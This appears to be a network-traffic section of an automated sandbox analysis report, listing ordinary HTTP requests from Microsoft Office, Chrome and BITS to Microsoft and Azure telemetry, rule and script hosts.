Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
